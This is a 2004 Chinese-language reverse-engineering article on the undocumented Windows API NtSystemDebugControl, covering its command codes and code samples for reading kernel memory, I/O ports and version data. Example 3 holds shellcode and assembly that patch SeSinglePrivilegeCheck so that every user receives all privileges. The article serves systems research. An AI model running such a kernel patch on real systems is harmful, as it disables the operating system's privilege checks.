对Native API NtSystemDebugControl的分析

创建时间：2004-08-05
文章属性：原创
文章提交：tombkeeper (t0mbkeeper_at_hotmail.com)

对Native API NtSystemDebugControl的分析

作   者：于旸
邮   件：tombkeeper[0x40]nsfocus[0x2e]com
         tombkeeper[0x40]xfocus[0x2e]org
完成于：2004.08.04
关键字：NtSystemDebugControl、ZwSystemDebugControl、读写内核空间、读写MSR、
         读写物理内存、读写IO端口、读写总线数据、KdVersionBlock


     在《获取Windows 系统的内核变量》中，我提及了在Windows NT 5.1以上的系统
中存在一个功能强大的 Native API NtSystemDebugControl，下面我们来看看它到底
有多强大。

     NtSystemDebugControl是Windows NT系列操作系统上实现的一个系统调用，在不
同系统上的调用号分别为：

Windows NT       0xba
Windows 2000     0xde
Windows XP       0xff
Windows 2003     0x108

     这是一个未文档化的 API，《Windows NT/2000 Native API Reference》中有相
关介绍。官方定义可以在一个微软的private头文件ntexapi.h中找到。该文件中还包
含很多其它内部数据结构。可能Windows NT 4的SDK中还曾经有过这个文件（至少NT4
ResourceKit的支持文档里面是这样说的），但现在似乎微软只提供给它的合作伙伴。
好在NTKernel新闻组上有一个“very kind person”共享了这个头文件，你可以从参
考资源[2]的两个链接中得到它。

     这就是ntexapi.h中的定义：

typedef enum _SYSDBG_COMMAND {
     SysDbgQueryTraceInformation = 1,     //KdGetTraceInformation()
     SysDbgSetTracepoint = 2,             //KdSetInternalBreakpoint()
     SysDbgSetSpecialCall = 3,           //KdSetSpecialCall()
     SysDbgClearSpecialCalls = 4,         //KdClearSpecialCalls()
     SysDbgQuerySpecialCalls = 5,         //KdQuerySpecialCalls()
     SysDbgQueryModuleInformation         //ntexapi.h中有，但实际上未实现
} SYSDBG_COMMAND, *PSYSDBG_COMMAND;

NTSYSAPI
NTSTATUS
NTAPI
NtSystemDebugControl (
     IN SYSDBG_COMMAND Command,
     IN PVOID InputBuffer,
     IN ULONG InputBufferLength,
     OUT PVOID OutputBuffer,
     IN ULONG OutputBufferLength,
     OUT PULONG ReturnLength
     );

 

     从上面可以看出，Windows NT和Windows 2000上的NtSystemDebugControl通过不
同的第一形参可调用五个内核函数，实现相关功能。

     NtSystemDebugControl在Windows NT和Windows 2000上的功能还是比较简陋的，
《Windows NT/2000 Native API Reference》一书对这些已经介绍的很详细了，本文
不再赘述。

     从Windows NT 5.1内核（Windows XP）开始，NtSystemDebugControl的功能被极
大扩增了。根据逆向工程的结果来看，在Windows XP上NtSystemDebugControl的第一
形参可接受 20个不同的功能调用，在Windows 2003上则有28个。

     关于NtSystemDebugControl在Windows NT 5.1以上的实现，互联网上唯一能找到
的资料是BUGTRAQ ID 9694关于该 API的一个漏洞报告（参考资源[1]），事实上，这
个所谓漏洞是不能称之为漏洞的，因为调用这个API需要SeDebugPrivilege 特权，普
通用户根本执行不了，也就谈不上权限提升。

     下面的enum是我逆向工程的结果，绝大部分经过测试：

typedef enum _SYSDBG_COMMAND {
//以下5个在Windows NT各个版本上都有
     SysDbgGetTraceInformation = 1,
     SysDbgSetInternalBreakpoint = 2,
     SysDbgSetSpecialCall = 3,
     SysDbgClearSpecialCalls = 4,
     SysDbgQuerySpecialCalls = 5,

// 以下是NT 5.1 新增的
     SysDbgDbgBreakPointWithStatus = 6,

     //获取KdVersionBlock
     SysDbgSysGetVersion = 7,

     //从内核空间拷贝到用户空间，或者从用户空间拷贝到用户空间
     //但是不能从用户空间拷贝到内核空间
     SysDbgCopyMemoryChunks_0 = 8,
   //SysDbgReadVirtualMemory = 8,

     //从用户空间拷贝到内核空间，或者从用户空间拷贝到用户空间
     //但是不能从内核空间拷贝到用户空间
     SysDbgCopyMemoryChunks_1 = 9,
   //SysDbgWriteVirtualMemory = 9,

     //从物理地址拷贝到用户空间，不能写到内核空间
     SysDbgCopyMemoryChunks_2 = 10,
   //SysDbgReadVirtualMemory = 10,

     //从用户空间拷贝到物理地址，不能读取内核空间
     SysDbgCopyMemoryChunks_3 = 11,
   //SysDbgWriteVirtualMemory = 11,

     //读写处理器相关控制块
     SysDbgSysReadControlSpace = 12,
     SysDbgSysWriteControlSpace = 13,

     //读写端口
     SysDbgSysReadIoSpace = 14,
     SysDbgSysWriteIoSpace = 15,

     //分别调用RDMSR@4和_WRMSR@12
     SysDbgSysReadMsr = 16,
     SysDbgSysWriteMsr = 17,

     //读写总线数据
     SysDbgSysReadBusData = 18,
     SysDbgSysWriteBusData = 19,

     SysDbgSysCheckLowMemory = 20,

// 以下是NT 5.2 新增的

     //分别调用_KdEnableDebugger@0和_KdDisableDebugger@0
     SysDbgEnableDebugger = 21,
     SysDbgDisableDebugger = 22,
    
     //获取和设置一些调试相关的变量
     SysDbgGetAutoEnableOnEvent = 23,
     SysDbgSetAutoEnableOnEvent = 24,
     SysDbgGetPitchDebugger = 25,
     SysDbgSetDbgPrintBufferSize = 26,
     SysDbgGetIgnoreUmExceptions = 27,
     SysDbgSetIgnoreUmExceptions = 28
} SYSDBG_COMMAND, *PSYSDBG_COMMAND;

 

     从上面可以看出，在Windows NT 5.1以上的NtSystemDebugControl可以实现读写
内核线性空间数据、读写物理内存、读写端口、读写总线数据、读写MSR 等功能；在
Windows NT 5.2以上还可以在系统运行状态下使能、禁用内核调试以及获取、设置一
些相关变量等。

     显然，从Windows XP开始，我们再次获得了MS DOS时代直接操纵系统的权杖，戴
着桂冠，重新回到了奥林匹斯山之巅。

     下面举几个具体应用的例子。

例子1：
    
     下面代码演示读取KdVersionBlock：

 

//------------------------------------------------------------------------
typedef struct _DBGKD_GET_VERSION64 {
     USHORT   MajorVersion;
     USHORT   MinorVersion;
     USHORT   ProtocolVersion;
     USHORT   Flags;
     USHORT   MachineType;
     UCHAR   MaxPacketType;
     UCHAR   MaxStateChange;
     UCHAR   MaxManipulate;
     UCHAR   Simulation;
     USHORT   Unused[1];
     ULONG64 KernBase;
     ULONG64 PsLoadedModuleList;
     ULONG64 DebuggerDataList;
} DBGKD_GET_VERSION64, *PDBGKD_GET_VERSION64;

DBGKD_GET_VERSION64 KdVersionBlock;

EnablePrivilege(SE_DEBUG_NAME);

ZwSystemDebugControl
(
     SysDbgSysGetVersion,
     NULL,
     0,
     &KdVersionBlock,
     sizeof(KdVersionBlock), //必须是0x28
     NULL
);

printf ("KernBase:           0x%.8x\n",KdVersionBlock.KernBase);
printf ("PsLoadedModuleList: 0x%.8x\n",KdVersionBlock.PsLoadedModuleList);
printf ("DebuggerDataList:   0x%.8x\n",KdVersionBlock.DebuggerDataList);
//------------------------------------------------------------------------

 

例子2：

     下面代码演示读取内核空间数据的操作，这里读取的是Windows 2003内核映像的
头两个字节，也就是“MZ”。

 

//------------------------------------------------------------------------
typedef struct _MEMORY_CHUNKS {
     ULONG Address;
     PVOID Data;
     ULONG Length;
}MEMORY_CHUNKS, *PMEMORY_CHUNKS;

MEMORY_CHUNKS QueryBuff;
ULONG ReturnLength;
char Buff[0x2] = {0};

QueryBuff.Address = 0x804e0000; //Windows 2003的KernBase
QueryBuff.Data = Buff;   //在此是读出缓冲
QueryBuff.Length = sizeof(Buff);

EnablePrivilege(SE_DEBUG_NAME);

ZwSystemDebugControl
(
     SysDbgCopyMemoryChunks_0,
     &QueryBuff,
     sizeof(MEMORY_CHUNKS),   //必须是0x0C
     NULL,
     0,
     &ReturnLength
);

printf ("\"MZ\":   %s\n",Buff);
//------------------------------------------------------------------------

 

例子3：

     下面是一个使用NtSystemDebugControl的SysDbgCopyMemoryChunks_1功能实现的
Patch内核的ShellCode，把0x80580e66由原来的8a450c改为90b001：

修改前：

nt!SeSinglePrivilegeCheck+0x5c:
80580e66 8a450c           mov     al,[ebp+0xc]
80580e69 c9               leave
80580e6a c20c00           ret     0xc

修改后：
nt!SeSinglePrivilegeCheck+0x5c:
80580e66 90               nop
80580e67 b001             mov     al,0x1
80580e69 c9               leave
80580e6a c20c00           ret     0xc

     这样，SeSinglePrivilegeCheck总是返回True，也就是说，无论哪个用户，总是
拥有全部系统特权。

     \xeb\x09\x66\xb8\x08\x01\x8b\xd4\x0f\x34\xc3\x68\x90\xb0\x01\xc9
     \x8b\xc4\x6a\x04\x50\x68\x66\x0e\x58\x80\x54\x5b\x33\xc0\x50\x54
     \x50\x50\x6a\x0c\x53\x6a\x09\x50\xe8\xd5\xff\xff\xff\x83

 

//------------------------------------------------------------------------
#pragma comment(linker, "/entry:main /ALIGN:4096" )
#pragma comment(lib, "kernel32.lib")

#define sysenter __asm __emit 0x0f __asm __emit 0x34

void main(void)
{
     __asm
     {
         int 3   //debug
         jmp patch

SystemDebugControl:

         mov ax,0x108
         mov edx,esp
         sysenter
         ret

patch:

         push 0xc901b090
         mov eax,esp
         push 0x04
         push eax
         push 0x80580e66
         push esp
         pop ebx
         xor eax,eax
         push eax
         push esp   //ReturnLength
         push eax   //OutputBufferLength
         push eax   //OutputBuffer
         push 0x0c //InputBufferLength
         push ebx   //InputBuffer
         push 0x09 //ControlCode
         push eax   //for sysenter ret
         call SystemDebugControl
         add esp,0x30     //只是为了修正堆栈
     }
}
//------------------------------------------------------------------------

 

    上面只是一个概念代码，使用的Patch地址是固定的，对5.2.3790.0 版本的内核
有效。由于调用NtSystemDebugControl 要SeDebugPrivilege，所以这段ShellCode需
要在LocalSystem 的身份的进程空间运行，或者自己增加SeDebugPrivilege。最简单
的办法就是在WinDBG中执行。

例子4：

     下面是一段完整的代码，利用NtSystemDebugControl读写端口的能力，直接操纵
PC Speaker发声：

 

//------------------------------------------------------------------------
//演示用ZwSystemDebugControl读写端口使PC Speaker发声
//tombkeeper 2004.08.03

#include <windows.h>
#include <stdio.h>

#pragma comment(lib, "advapi32")

#define NTAPI       __stdcall
#define FCHK(a)     if (!(a)) {printf(#a " failed\n"); return 0;}

typedef int NTSTATUS;

typedef enum _SYSDBG_COMMAND
{
   SysDbgSysReadIoSpace = 14,
   SysDbgSysWriteIoSpace = 15
}SYSDBG_COMMAND, *PSYSDBG_COMMAND;

typedef NTSTATUS (NTAPI * PZwSystemDebugControl) (
     SYSDBG_COMMAND ControlCode,
     PVOID InputBuffer,
     ULONG InputBufferLength,
     PVOID OutputBuffer,
     ULONG OutputBufferLength,
     PULONG ReturnLength
     );

PZwSystemDebugControl ZwSystemDebugControl = NULL;

typedef struct _IO_STRUCT
{
     DWORD IoAddr;       // IN: Aligned to NumBYTEs,I/O address
     DWORD Reserved1;     // Never accessed by the kernel
     PVOID pBuffer;       // IN (write) or OUT (read): Ptr to buffer
     DWORD NumBYTEs;     // IN: # BYTEs to read/write. Only use 1, 2, or 4.
     DWORD Reserved4;     // Must be 1
     DWORD Reserved5;     // Must be 0
     DWORD Reserved6;     // Must be 1
     DWORD Reserved7;     // Never accessed by the kernel
}
IO_STRUCT, *PIO_STRUCT;

BOOL EnablePrivilege (PCSTR name)
{
     HANDLE hToken;
     BOOL rv;
    
     TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} };
     LookupPrivilegeValue (
         0,
         name,
         &priv.Privileges[0].Luid
     );
    
     OpenProcessToken(
         GetCurrentProcess (),
         TOKEN_ADJUST_PRIVILEGES,
         &hToken
     );
    
     AdjustTokenPrivileges (
         hToken,
         FALSE,
         &priv,
         sizeof priv,
         0,
         0
     );
     rv = GetLastError () == ERROR_SUCCESS;
    
     CloseHandle (hToken);
     return rv;
}

BYTE InPortB (int Port)
{
     BYTE Value;
     IO_STRUCT io;
    
     io.IoAddr = Port;
     io.Reserved1 = 0;
     io.pBuffer = (PVOID) (PULONG) & Value;
     io.NumBYTEs = sizeof (BYTE);
     io.Reserved4 = 1;
     io.Reserved5 = 0;
     io.Reserved6 = 1;
     io.Reserved7 = 0;
    
     ZwSystemDebugControl 
     (
         SysDbgSysReadIoSpace,
           &io,
           sizeof (io),
           NULL,
           0,
           NULL
     );
     return Value;
}

void OutPortB (int Port, BYTE Value)
{
     IO_STRUCT io;
    
     io.IoAddr = Port;
     io.Reserved1 = 0;
     io.pBuffer = (PVOID) (PULONG) & Value;
     io.NumBYTEs = sizeof (BYTE);
     io.Reserved4 = 1;
     io.Reserved5 = 0;
     io.Reserved6 = 1;
     io.Reserved7 = 0;
    
     ZwSystemDebugControl 
     (
         SysDbgSysWriteIoSpace,
         &io,
         sizeof (io),
         NULL,
         0,
         NULL
     );
};

void BeepOn (int Freq)
{
     BYTE b;

     if ((Freq >= 20) && (Freq <= 20000))
     {
         Freq = 1193181 / Freq;
         b = InPortB (0x61);
         if ((b & 3) == 0)
     {
         OutPortB (0x61, (BYTE) (b | 3));
         OutPortB (0x43, 0xb6);
     }
         OutPortB (0x42, (BYTE) Freq);
         OutPortB (0x42, (BYTE) (Freq >> 8));
     }
}

void BeepOff (void)
{
     BYTE b;

     b = (InPortB (0x61) & 0xfc);
     OutPortB (0x61, b);
}

int main (void)
{
     HMODULE hNtdll;
     ULONG ReturnLength;
     OSVERSIONINFO OSVersionInfo;
     OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);

     EnablePrivilege (SE_DEBUG_NAME);

     FCHK ((hNtdll = LoadLibrary ("ntdll.dll")) != NULL);
     FCHK ((ZwSystemDebugControl = (PZwSystemDebugControl) 
           GetProcAddress (hNtdll, "ZwSystemDebugControl")) != NULL);
     FCHK ((void *) GetVersionEx (&OSVersionInfo) != NULL);

     if (OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT &&
         OSVersionInfo.dwMajorVersion >= 5 &&
         OSVersionInfo.dwMinorVersion >= 1)     //Windows XP以上
     {
         BeepOn (1000);   //声音频率1000Hz
         Sleep (1000);
         BeepOff ();
     }
     else
     {
         printf ("This program require Windows XP or Windows 2003.\n");
     }
     return 0;
}
//------------------------------------------------------------------------

 

 

参考资源：

[1]Microsoft Windows NtSystemDebugControl() Kernel API Function Privilege
   Escalation Vulnerability
http://www.securityfocus.com/bid/9694

[2]ntexapi.h
http://www.codeguru.com/code/legacy/system/ntexapi.zip
http://void.ru/files/Ntexapi.h